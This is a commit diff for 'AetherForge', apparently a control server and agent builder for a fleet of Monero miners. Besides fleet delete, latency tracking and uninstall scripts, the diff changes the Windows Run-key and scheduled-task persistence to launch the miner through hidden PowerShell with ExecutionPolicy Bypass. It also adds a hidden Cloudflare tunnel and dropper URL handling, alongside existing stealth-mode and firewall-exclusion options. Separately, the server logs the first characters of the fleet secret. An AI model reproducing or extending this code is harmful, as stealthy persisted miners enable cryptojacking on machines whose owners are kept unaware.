Improve fleet control, Crucible ops, and multi-machine identity.

Use hostname-first agent names so the same forged binary on many machines stays distinct at scale. Add WebSocket RTT latency on the roster and Crucible, fleet delete and uninstall flows, live alert config reload, and non-blocking pool setup. Fix Crucible phantom agents after delete, posture scan targeting, and USB portability (config data_dir, LAUNCH sync).
This commit is contained in:
AetherForge
2026-06-02 19:19:50 -07:00
parent 5222f4ad39
commit 01d76b3730
32 changed files with 737 additions and 229 deletions

View File

@@ -106,7 +106,18 @@ if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints"
if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps" if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps"
:: ---------------------------------------------------------------- :: ----------------------------------------------------------------
:: 5. Detect LAN IP for display :: 5. Configure optional Cloudflare tunnel (foreground process, no service)
:: ----------------------------------------------------------------
set "CLOUDFLARED_BIN=%ROOT%\tools\cloudflared.exe"
set "CF_PID_FILE=%ROOT%\data\cloudflared.pid"
set "CF_TUNNEL_TOKEN="
if defined AF_TUNNEL_TOKEN set "CF_TUNNEL_TOKEN=%AF_TUNNEL_TOKEN%"
if not defined CF_TUNNEL_TOKEN if exist "%ROOT%\data\cloudflared-token.txt" (
set /p CF_TUNNEL_TOKEN=<"%ROOT%\data\cloudflared-token.txt"
)
:: ----------------------------------------------------------------
:: 6. Detect LAN IP for display
:: ---------------------------------------------------------------- :: ----------------------------------------------------------------
set "SERVER_PORT=8989" set "SERVER_PORT=8989"
for /f "tokens=2 delims=:" %%I in ('ipconfig ^| findstr /i "IPv4" ^| findstr /v "127.0.0.1"') do ( for /f "tokens=2 delims=:" %%I in ('ipconfig ^| findstr /i "IPv4" ^| findstr /v "127.0.0.1"') do (
@@ -118,9 +129,10 @@ set "LAN_IP=localhost"
set "LAN_IP=%LAN_IP: =%" set "LAN_IP=%LAN_IP: =%"
:: ---------------------------------------------------------------- :: ----------------------------------------------------------------
:: 6. Kill any stale server process :: 7. Kill any stale server and tunnel processes
:: ---------------------------------------------------------------- :: ----------------------------------------------------------------
taskkill /F /IM AetherForge.exe >nul 2>nul taskkill /F /IM AetherForge.exe >nul 2>nul
taskkill /F /IM cloudflared.exe >nul 2>nul
ping -n 2 127.0.0.1 >nul ping -n 2 127.0.0.1 >nul
echo. echo.
@@ -136,6 +148,30 @@ echo Press Ctrl+C to stop.
echo ================================================================ echo ================================================================
echo. echo.
:: Start optional Cloudflare tunnel for this launcher session only.
if defined CF_TUNNEL_TOKEN (
if not exist "%ROOT%\tools" mkdir "%ROOT%\tools"
if not exist "%CLOUDFLARED_BIN%" (
echo [Tunnel] Downloading cloudflared.exe...
powershell -NoProfile -ExecutionPolicy Bypass -Command "& { [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe' -OutFile $env:CLOUDFLARED_BIN }"
)
if exist "%CLOUDFLARED_BIN%" (
del "%CF_PID_FILE%" 2>nul
echo [Tunnel] Starting Cloudflare tunnel for this session ^(no service install^).
powershell -NoProfile -ExecutionPolicy Bypass -Command "$p = Start-Process -FilePath $env:CLOUDFLARED_BIN -ArgumentList @('tunnel','--no-autoupdate','run','--token',$env:CF_TUNNEL_TOKEN) -WindowStyle Hidden -PassThru; Set-Content -LiteralPath $env:CF_PID_FILE -Value $p.Id"
if errorlevel 1 (
echo [Tunnel] WARNING: cloudflared failed to start.
) else (
echo [Tunnel] Tunnel process started. It will stop when this launcher exits.
)
) else (
echo [Tunnel] WARNING: cloudflared.exe unavailable; tunnel skipped.
)
) else (
echo [Tunnel] Disabled. Add token to data\cloudflared-token.txt or set AF_TUNNEL_TOKEN.
)
echo.
:: Open browser after short delay :: Open browser after short delay
start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'" start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'"
@@ -143,6 +179,13 @@ start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Second
"%ROOT%\AetherForge.exe" -port %SERVER_PORT% -data "%ROOT%\data" "%ROOT%\AetherForge.exe" -port %SERVER_PORT% -data "%ROOT%\data"
set "EC=!ERRORLEVEL!" set "EC=!ERRORLEVEL!"
if exist "%CF_PID_FILE%" (
for /f "usebackq" %%P in ("%CF_PID_FILE%") do (
powershell -NoProfile -ExecutionPolicy Bypass -Command "Stop-Process -Id %%P -Force -ErrorAction SilentlyContinue" >nul 2>nul
)
del "%CF_PID_FILE%" 2>nul
)
echo. echo.
if "!EC!"=="0" ( if "!EC!"=="0" (
echo [Server] Stopped normally. echo [Server] Stopped normally.

View File

@@ -302,7 +302,10 @@ func (c *AgentClient) handleMessage(msg Message) {
if msg, _ := jobPayloadErrorMessage(msg.Payload); msg != "" { if msg, _ := jobPayloadErrorMessage(msg.Payload); msg != "" {
log.Printf("[agent] job error from server: %s", msg) log.Printf("[agent] job error from server: %s", msg)
} }
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")}) // Back off 3 seconds before retrying — pool may still be connecting.
time.AfterFunc(3*time.Second, func() {
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
})
return return
} }
var j job.Job var j job.Job
@@ -312,7 +315,9 @@ func (c *AgentClient) handleMessage(msg Message) {
} }
if j.Blob == "" { if j.Blob == "" {
log.Printf("[agent] empty job blob — requesting job again") log.Printf("[agent] empty job blob — requesting job again")
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")}) time.AfterFunc(3*time.Second, func() {
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
})
return return
} }
log.Printf("[agent] new job %s height=%d", j.ID, j.Height) log.Printf("[agent] new job %s height=%d", j.ID, j.Height)

View File

@@ -29,7 +29,10 @@ func configureAutoStart(cfg config.RuntimeConfig, binPath string) error {
return err return err
} }
defer k.Close() defer k.Close()
return k.SetStringValue(PersistenceKeyName(cfg), fmt.Sprintf(`"%s" %s`, binPath, runFlag)) // Wrap in PowerShell so the console window is suppressed on startup.
val := fmt.Sprintf(`powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -Command "& '%s' %s"`,
strings.ReplaceAll(binPath, `'`, `''`), runFlag)
return k.SetStringValue(PersistenceKeyName(cfg), val)
} }
func configureRunMode(cfg config.RuntimeConfig, installedBin string) error { func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
@@ -114,11 +117,16 @@ func createScheduledTask(cfg config.RuntimeConfig, binPath string) error {
if taskName == "" { if taskName == "" {
taskName = "CryptoMinerAgent" taskName = "CryptoMinerAgent"
} }
safeBin := strings.ReplaceAll(binPath, `'`, `''`)
safeTask := strings.ReplaceAll(taskName, `'`, `''`)
// Wrap in PowerShell with -WindowStyle Hidden so no console window appears.
// RestartCount capped at 5 with a 5-minute interval to prevent a crash-loop
// from spamming the screen. The watchdog covers longer-term health.
psArg := fmt.Sprintf(`-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -Command "& '%s' %s"`, safeBin, runFlag)
script := fmt.Sprintf( script := fmt.Sprintf(
`$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`, `$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 5 -RestartInterval (New-TimeSpan -Minutes 5); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
strings.ReplaceAll(binPath, `'`, `''`), strings.ReplaceAll(psArg, `'`, `''`),
runFlag, safeTask,
strings.ReplaceAll(taskName, `'`, `''`),
) )
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script) cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
return cmd.Run() return cmd.Run()

View File

@@ -11,7 +11,7 @@ import (
type Config struct { type Config struct {
Port int `json:"port"` Port int `json:"port"`
DataDir string `json:"data_dir"` DataDir string `json:"-"` // set from -data CLI flag; never written to config.json
Pool PoolConfig `json:"pool"` Pool PoolConfig `json:"pool"`
Wallet WalletConfig `json:"wallet"` Wallet WalletConfig `json:"wallet"`

View File

@@ -31,7 +31,7 @@ type Broadcaster func(AlertEvent)
type Evaluator struct { type Evaluator struct {
db *db.Database db *db.Database
thresholds func() Thresholds thresholds func() Thresholds
notify NotifyConfig notify func() NotifyConfig
broadcast Broadcaster broadcast Broadcaster
mu sync.Mutex mu sync.Mutex
baseline map[string]float64 baseline map[string]float64
@@ -40,7 +40,7 @@ type Evaluator struct {
cooldown time.Duration cooldown time.Duration
} }
func NewEvaluator(database *db.Database, thresholds func() Thresholds, notify NotifyConfig, broadcast Broadcaster) *Evaluator { func NewEvaluator(database *db.Database, thresholds func() Thresholds, notify func() NotifyConfig, broadcast Broadcaster) *Evaluator {
return &Evaluator{ return &Evaluator{
db: database, db: database,
thresholds: thresholds, thresholds: thresholds,
@@ -180,7 +180,7 @@ func (e *Evaluator) fire(ev AlertEvent, cooldownKey string) {
e.mu.Unlock() e.mu.Unlock()
log.Printf("[Alert] %s: %s", ev.Type, ev.Message) log.Printf("[Alert] %s: %s", ev.Type, ev.Message)
NotifyAll(e.notify, "AetherForge "+ev.Type, ev.Message) NotifyAll(e.notify(), "AetherForge "+ev.Type, ev.Message)
if e.broadcast != nil { if e.broadcast != nil {
e.broadcast(ev) e.broadcast(ev)
} }

View File

@@ -17,6 +17,7 @@ func TestEvaluatorOfflineAlert(t *testing.T) {
var fired []AlertEvent var fired []AlertEvent
e := &Evaluator{ e := &Evaluator{
thresholds: func() Thresholds { return Thresholds{OfflineMinutes: 5} }, thresholds: func() Thresholds { return Thresholds{OfflineMinutes: 5} },
notify: func() NotifyConfig { return NotifyConfig{} },
broadcast: func(ev AlertEvent) { fired = append(fired, ev) }, broadcast: func(ev AlertEvent) { fired = append(fired, ev) },
baseline: make(map[string]float64), baseline: make(map[string]float64),
lastFired: make(map[string]time.Time), lastFired: make(map[string]time.Time),

View File

@@ -207,6 +207,10 @@ func (h *DropperHandler) resolveBase(r *http.Request) string {
if r.TLS != nil { if r.TLS != nil {
scheme = "https" scheme = "https"
} }
// Honour X-Forwarded-Proto set by reverse proxies (e.g. Cloudflare tunnel).
if proto := r.Header.Get("X-Forwarded-Proto"); proto == "https" {
scheme = "https"
}
// Prefer X-Forwarded-Host (behind a reverse proxy) over the raw Host. // Prefer X-Forwarded-Host (behind a reverse proxy) over the raw Host.
host := r.Header.Get("X-Forwarded-Host") host := r.Header.Get("X-Forwarded-Host")
if host == "" { if host == "" {

View File

@@ -417,6 +417,55 @@ func EstimateXMRPerDay(hashrate float64) map[string]interface{} {
} }
} }
// DeleteAgent removes an agent record from the database.
// If the agent is currently online it is also disconnected (kicked).
func (f *FleetHandler) DeleteAgent(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
if id == "" {
http.Error(w, "missing agent id", http.StatusBadRequest)
return
}
// Kick live connection first (non-fatal if offline).
if f.ws != nil {
_ = f.ws.SendToAgent(id, Message{Type: "disconnect", Payload: mustMarshalFleet(map[string]string{"reason": "deleted from roster"})})
f.ws.RemoveAgent(id)
}
if err := f.db.DeleteAgent(id); err != nil {
http.Error(w, "delete failed: "+err.Error(), http.StatusInternalServerError)
return
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]bool{"success": true})
}
// BulkDeleteAgents deletes multiple agents from the database in one call.
func (f *FleetHandler) BulkDeleteAgents(w http.ResponseWriter, r *http.Request) {
var req struct {
IDs []string `json:"ids"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil || len(req.IDs) == 0 {
http.Error(w, "ids required", http.StatusBadRequest)
return
}
deleted := 0
for _, id := range req.IDs {
if f.ws != nil {
_ = f.ws.SendToAgent(id, Message{Type: "disconnect", Payload: mustMarshalFleet(map[string]string{"reason": "deleted from roster"})})
f.ws.RemoveAgent(id)
}
if err := f.db.DeleteAgent(id); err == nil {
deleted++
}
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]interface{}{"success": true, "deleted": deleted})
}
func mustMarshalFleet(v interface{}) json.RawMessage {
b, _ := json.Marshal(v)
return b
}
func parseFloatQuery(r *http.Request, key string, def float64) float64 { func parseFloatQuery(r *http.Request, key string, def float64) float64 {
v := r.URL.Query().Get(key) v := r.URL.Query().Get(key)
if v == "" { if v == "" {

View File

@@ -182,7 +182,7 @@ func TestFleetGetAlertsWithEvaluator(t *testing.T) {
evaluator := alerts.NewEvaluator(database, func() alerts.Thresholds { evaluator := alerts.NewEvaluator(database, func() alerts.Thresholds {
return alerts.Thresholds{OfflineMinutes: 5} return alerts.Thresholds{OfflineMinutes: 5}
}, alerts.NotifyConfig{}, nil) }, func() alerts.NotifyConfig { return alerts.NotifyConfig{} }, nil)
evaluator.RunOnce() evaluator.RunOnce()
fh := NewFleetHandler(database, NewWSHub(database), NewAIHandler(database), nil, evaluator, pool.Config{}) fh := NewFleetHandler(database, NewWSHub(database), NewAIHandler(database), nil, evaluator, pool.Config{})

View File

@@ -444,7 +444,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Post("/agents/{id}/command", fleetHandler.PostAgentCommand) r.Post("/agents/{id}/command", fleetHandler.PostAgentCommand)
r.Get("/agents/{id}/log", fleetHandler.GetAgentLog) r.Get("/agents/{id}/log", fleetHandler.GetAgentLog)
r.Put("/agents/{id}/meta", fleetHandler.PutAgentMeta) r.Put("/agents/{id}/meta", fleetHandler.PutAgentMeta)
r.Delete("/agents/{id}", fleetHandler.DeleteAgent)
r.Post("/agents/bulk-command", fleetHandler.PostBulkCommand) r.Post("/agents/bulk-command", fleetHandler.PostBulkCommand)
r.Post("/agents/bulk-delete", fleetHandler.BulkDeleteAgents)
} }
// Fleet ops // Fleet ops

View File

@@ -60,9 +60,13 @@ type Message struct {
} }
type AgentConnection struct { type AgentConnection struct {
AgentID string AgentID string
Conn *websocket.Conn Conn *websocket.Conn
mu sync.Mutex mu sync.Mutex
// Latency tracking — updated each ping/pong cycle.
latencyMu sync.Mutex
pingSentAt time.Time
LatencyMs *int // nil until first pong received
} }
func (c *AgentConnection) SendJSON(v interface{}) error { func (c *AgentConnection) SendJSON(v interface{}) error {
@@ -177,6 +181,35 @@ func (h *WSHub) runPingLoopRaw(conn *websocket.Conn) {
} }
} }
// runPingLoopAgent is like runPingLoopRaw but also records RTT on each pong.
func (h *WSHub) runPingLoopAgent(ac *AgentConnection) {
interval := h.pingInterval()
ticker := time.NewTicker(interval)
defer ticker.Stop()
conn := ac.Conn
_ = conn.SetReadDeadline(time.Now().Add(interval * 2))
conn.SetPongHandler(func(string) error {
// Measure RTT.
ac.latencyMu.Lock()
if !ac.pingSentAt.IsZero() {
ms := int(time.Since(ac.pingSentAt).Milliseconds())
ac.LatencyMs = &ms
}
ac.latencyMu.Unlock()
return conn.SetReadDeadline(time.Now().Add(interval * 2))
})
for range ticker.C {
ac.latencyMu.Lock()
ac.pingSentAt = time.Now()
ac.latencyMu.Unlock()
if err := conn.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil {
return
}
}
}
func (h *WSHub) runPingLoopDash(dc *DashboardConn) { func (h *WSHub) runPingLoopDash(dc *DashboardConn) {
interval := h.pingInterval() interval := h.pingInterval()
ticker := time.NewTicker(interval) ticker := time.NewTicker(interval)
@@ -263,13 +296,17 @@ func (h *WSHub) getAgentConn(agentID string) *AgentConnection {
} }
func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
clientIP := r.Header.Get("X-Forwarded-For")
if clientIP == "" {
clientIP = r.RemoteAddr
}
log.Printf("[WS] Agent connection attempt from %s (origin=%s)", clientIP, r.Header.Get("Origin"))
conn, err := upgrader.Upgrade(w, r, nil) conn, err := upgrader.Upgrade(w, r, nil)
if err != nil { if err != nil {
log.Printf("WebSocket upgrade error: %v", err) log.Printf("[WS] Agent upgrade failed from %s: %v", clientIP, err)
return return
} }
log.Printf("[WS] Agent WebSocket upgraded OK from %s", clientIP)
go h.runPingLoopRaw(conn)
agentID := "" agentID := ""
defer func() { defer func() {
@@ -351,17 +388,18 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
continue continue
} }
// Verify fleet secret. If the server has one configured, the agent must match. // Verify fleet secret. If the server has one configured, the agent must match.
h.mu.RLock() h.mu.RLock()
requiredSecret := h.fleetSecret requiredSecret := h.fleetSecret
h.mu.RUnlock() h.mu.RUnlock()
if requiredSecret != "" && !secureStringEqual(auth.FleetSecret, requiredSecret) { log.Printf("[WS] Agent auth: id=%s host=%s secret_prefix=%.8s", auth.AgentID, auth.Hostname, auth.FleetSecret)
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{ if requiredSecret != "" && !secureStringEqual(auth.FleetSecret, requiredSecret) {
"success": false, "error": "invalid fleet secret — re-forge this agent", conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
})}) "success": false, "error": "invalid fleet secret — re-forge this agent",
log.Printf("[auth] Agent rejected: bad fleet secret (host=%s id=%s)", auth.Hostname, auth.AgentID) })})
return log.Printf("[auth] Agent rejected: bad fleet secret (host=%s id=%s)", auth.Hostname, auth.AgentID)
} return
}
agentID = auth.AgentID agentID = auth.AgentID
if agentID == "" { if agentID == "" {
@@ -410,8 +448,6 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
} }
// Build backup pool.Config list from what the agent sent at auth. // Build backup pool.Config list from what the agent sent at auth.
// These are registered on the proxy so reconnect() rotates through
// them automatically — not just at initial connect.
var backupCfgs []pool.Config var backupCfgs []pool.Config
for _, bp := range backupPools { for _, bp := range backupPools {
if bp.Host == "" || bp.Port <= 0 { if bp.Host == "" || bp.Port <= 0 {
@@ -431,9 +467,14 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
backupCfgs = append(backupCfgs, bpc) backupCfgs = append(backupCfgs, bpc)
} }
if _, err := h.poolManager.EnsurePoolWithBackups(&poolCfg, backupCfgs); err != nil { // Connect to pool in background — do NOT block the auth_response.
log.Printf("[WS] All pools failed for agent %s (%d backups tried) — agent will mine when pool reconnects", agentID, len(backupCfgs)) // The agent can start and the pool proxy will be ready by the time
} // the first share is submitted.
go func(pc pool.Config, bcs []pool.Config, aid string) {
if _, err := h.poolManager.EnsurePoolWithBackups(&pc, bcs); err != nil {
log.Printf("[WS] Pool init for agent %s failed (will retry): %v", aid, err)
}
}(poolCfg, backupCfgs, agentID)
} }
if h.aiHandler != nil && forgeCfg.AIEnabled { if h.aiHandler != nil && forgeCfg.AIEnabled {
@@ -461,6 +502,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
Platform: auth.Platform, Platform: auth.Platform,
Arch: auth.Arch, Arch: auth.Arch,
OSVersion: auth.OSVersion, OSVersion: auth.OSVersion,
Hostname: auth.Hostname,
Capabilities: &caps, Capabilities: &caps,
} }
@@ -496,14 +538,22 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
oldConn.Close() oldConn.Close()
h.mu.Lock() h.mu.Lock()
} }
h.agents[agentID] = &AgentConnection{AgentID: agentID, Conn: conn} ac := &AgentConnection{AgentID: agentID, Conn: conn}
h.agents[agentID] = ac
h.mu.Unlock() h.mu.Unlock()
// Start the RTT-aware ping loop now that we have an AgentConnection.
go h.runPingLoopAgent(ac)
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{ conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": true, "success": true,
"agent_id": agentID, "agent_id": agentID,
})}) })})
// Enrich agent with hostname before broadcasting so the dashboard
// immediately shows the correct machine-specific display name.
agent.Hostname = auth.Hostname
h.broadcastDashboard(Message{ h.broadcastDashboard(Message{
Type: "agent_online", Type: "agent_online",
Payload: mustMarshal(agent), Payload: mustMarshal(agent),
@@ -659,6 +709,14 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
if len(stats.Services) > 0 { if len(stats.Services) > 0 {
broadcast["services"] = stats.Services broadcast["services"] = stats.Services
} }
// Attach latest RTT latency from the ping loop.
if ac := h.getAgentConn(agentID); ac != nil {
ac.latencyMu.Lock()
if ac.LatencyMs != nil {
broadcast["latency_ms"] = *ac.LatencyMs
}
ac.latencyMu.Unlock()
}
h.broadcastDashboard(Message{Type: "stats_update", Payload: mustMarshal(broadcast)}) h.broadcastDashboard(Message{Type: "stats_update", Payload: mustMarshal(broadcast)})
case "submit_share": case "submit_share":
@@ -751,11 +809,18 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
var proxy *pool.Proxy var proxy *pool.Proxy
if h.poolManager != nil { if h.poolManager != nil {
poolCfg := h.agentPoolConfig(agentID) poolCfg := h.agentPoolConfig(agentID)
// Only use GetPool (non-blocking). If the pool hasn't connected yet
// (background EnsurePoolWithBackups from auth is still dialing), kick
// off another async attempt rather than blocking the WS read loop.
proxy = h.poolManager.GetPool(&poolCfg) proxy = h.poolManager.GetPool(&poolCfg)
if proxy == nil { if proxy == nil {
if p, err := h.poolManager.EnsurePool(&poolCfg); err == nil { go func(pc pool.Config) {
proxy = p if p, err := h.poolManager.EnsurePool(&pc); err != nil {
} log.Printf("[WS] get_job EnsurePool for %s failed: %v", pc.Host, err)
} else {
_ = p
}
}(poolCfg)
} }
} }
if proxy != nil { if proxy != nil {
@@ -763,10 +828,10 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
if job != nil { if job != nil {
conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(job)}) conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(job)})
} else { } else {
conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "no job available"})}) conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "no job available — pool connecting"})})
} }
} else { } else {
conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "pool not connected"})}) conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "pool connecting — retry shortly"})})
} }
case "log_tail": case "log_tail":
@@ -920,6 +985,29 @@ func (h *WSHub) SendToAgent(agentID string, msg Message) error {
return agent.SendJSON(msg) return agent.SendJSON(msg)
} }
// RemoveAgent forcibly disconnects an agent and removes it from the live map.
// It then broadcasts agent_deleted to all dashboard clients so the UI removes
// the agent immediately without waiting for the disconnect goroutine to fire.
func (h *WSHub) RemoveAgent(agentID string) {
h.mu.Lock()
if ac, ok := h.agents[agentID]; ok {
// Nil the map entry BEFORE closing so the agent goroutine's deferred
// cleanup (which checks cur.Conn == conn) falls into the else branch
// and skips SetAgentOffline — avoiding a write to an already-deleted row.
delete(h.agents, agentID)
delete(h.agentConfigs, agentID)
delete(h.agentLogs, agentID)
delete(h.agentCapabilities, agentID)
ac.Conn.Close()
}
h.mu.Unlock()
// Broadcast deletion so every connected dashboard removes the agent immediately.
h.broadcastDashboard(Message{
Type: "agent_deleted",
Payload: mustMarshal(map[string]string{"agent_id": agentID}),
})
}
// SendAgentCommand sends a remote command to an agent. // SendAgentCommand sends a remote command to an agent.
func (h *WSHub) SendAgentCommand(agentID, action string, args map[string]interface{}) error { func (h *WSHub) SendAgentCommand(agentID, action string, args map[string]interface{}) error {
payload := map[string]interface{}{"action": action} payload := map[string]interface{}{"action": action}
@@ -970,17 +1058,23 @@ func (h *WSHub) BroadcastAIActivity(entry interface{}) {
h.broadcastDashboard(Message{Type: "ai_activity", Payload: mustMarshal(entry)}) h.broadcastDashboard(Message{Type: "ai_activity", Payload: mustMarshal(entry)})
} }
// agentDisplayName returns a display name that is unique per physical machine.
// Hostname is preferred because it's machine-specific — many agents deployed from
// the same binary would otherwise share the same baked-in worker name, making
// a large fleet impossible to differentiate.
func agentDisplayName(workerName, worker, hostname, agentID string) string { func agentDisplayName(workerName, worker, hostname, agentID string) string {
if workerName != "" {
return workerName
}
if worker != "" {
return worker
}
if hostname != "" { if hostname != "" {
return hostname return hostname
} }
return shortAgentID(agentID) // No hostname reported — make the worker name unique with a short agent ID suffix.
base := workerName
if base == "" {
base = worker
}
if base == "" {
base = "agent"
}
return base + "-" + shortAgentID(agentID)
} }
func shortAgentID(id string) string { func shortAgentID(id string) string {

View File

@@ -450,8 +450,11 @@ func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
http.Error(w, "Build not found", http.StatusNotFound) http.Error(w, "Build not found", http.StatusNotFound)
return return
} }
uninstallPath := strings.TrimSuffix(build.FilePath, filepath.Base(build.FilePath)) + // Uninstall script lives in buildDir (builds/<id>/), NOT in the platform
fmt.Sprintf("uninstall-%s.ps1", sanitizeFileName(build.WorkerName)) // sub-directory where the binary lives (builds/<id>/windows-amd64/).
// Compute directly from dataDir + buildID to avoid path-stripping mistakes.
buildDir := filepath.Join(h.dataDir, "builds", buildID)
uninstallPath := filepath.Join(buildDir, fmt.Sprintf("uninstall-%s.ps1", sanitizeFileName(build.WorkerName)))
if _, err := os.Stat(uninstallPath); err != nil { if _, err := os.Stat(uninstallPath); err != nil {
http.Error(w, "Uninstall script missing", http.StatusNotFound) http.Error(w, "Uninstall script missing", http.StatusNotFound)
return return
@@ -1069,7 +1072,7 @@ func formatGoBackupPools(pools []BackupPool) string {
return "nil" return "nil"
} }
var sb strings.Builder var sb strings.Builder
sb.WriteString("[]config.BackupPool{") sb.WriteString("[]BackupPool{")
for i, p := range pools { for i, p := range pools {
if i > 0 { if i > 0 {
sb.WriteString(", ") sb.WriteString(", ")

View File

@@ -76,6 +76,15 @@ func generateUninstallScript(buildID string, req *BuildRequest) string {
installRel := expandInstallRelativePath(req, buildID) installRel := expandInstallRelativePath(req, buildID)
installBase := resolveInstallBasePS(req) installBase := resolveInstallBasePS(req)
firewallBool := "$false"
if req.FirewallExclusion {
firewallBool = "$true"
}
pauseBool := "$false"
if !req.StealthMode {
pauseBool = "$true"
}
return fmt.Sprintf(`# AetherForge Miner Uninstaller return fmt.Sprintf(`# AetherForge Miner Uninstaller
# Worker: %s # Worker: %s
# Generated alongside forged installer — run as the same Windows user who installed the miner. # Generated alongside forged installer — run as the same Windows user who installed the miner.
@@ -112,25 +121,22 @@ if (Test-Path $ExpectedExe) {
Write-Host "Removing persistence..." Write-Host "Removing persistence..."
Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name $PersistenceKey -ErrorAction SilentlyContinue Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name $PersistenceKey -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName $PersistenceKey -Confirm:$false -ErrorAction SilentlyContinue
if (%t) { if (%s) {
Write-Host "Removing Windows Firewall rules..." Write-Host "Removing Windows Firewall rules..."
Remove-NetFirewallRule -DisplayName ('AetherForge ' + $PersistenceKey + ' In') -ErrorAction SilentlyContinue Remove-NetFirewallRule -DisplayName ('AetherForge ' + $PersistenceKey + ' In') -ErrorAction SilentlyContinue
Remove-NetFirewallRule -DisplayName ('AetherForge ' + $PersistenceKey + ' Out') -ErrorAction SilentlyContinue Remove-NetFirewallRule -DisplayName ('AetherForge ' + $PersistenceKey + ' Out') -ErrorAction SilentlyContinue
} }
if ($true) {
Unregister-ScheduledTask -TaskName $PersistenceKey -Confirm:$false -ErrorAction SilentlyContinue
}
Write-Host "Removing install directory: $InstallDir" Write-Host "Removing install directory: $InstallDir"
if ($InstallDir -and (Test-Path $InstallDir)) { if ($InstallDir -and (Test-Path $InstallDir)) {
Remove-Item -LiteralPath $InstallDir -Recurse -Force Remove-Item -LiteralPath $InstallDir -Recurse -Force
} }
Write-Host "Done. Miner removed." Write-Host "Done. Miner removed."
if (%t) { Read-Host 'Press Enter to close' } if (%s) { Read-Host 'Press Enter to close' }
`, req.WorkerName, processName, persistenceKey, installBase, strings.ReplaceAll(installRel, "'", "''"), req.FirewallExclusion, !req.StealthMode) `, req.WorkerName, processName, persistenceKey, installBase, strings.ReplaceAll(installRel, "'", "''"), firewallBool, pauseBool)
} }
func (h *Handler) writeUninstallScript(buildDir string, buildID string, req *BuildRequest) (fileName, filePath string, err error) { func (h *Handler) writeUninstallScript(buildDir string, buildID string, req *BuildRequest) (fileName, filePath string, err error) {

View File

@@ -40,7 +40,7 @@ func (d *Database) scanAgent(row interface {
&a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m, &a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m,
&a.SharesTotal, &a.SharesGood, &a.SharesBad, &a.SharesTotal, &a.SharesGood, &a.SharesBad,
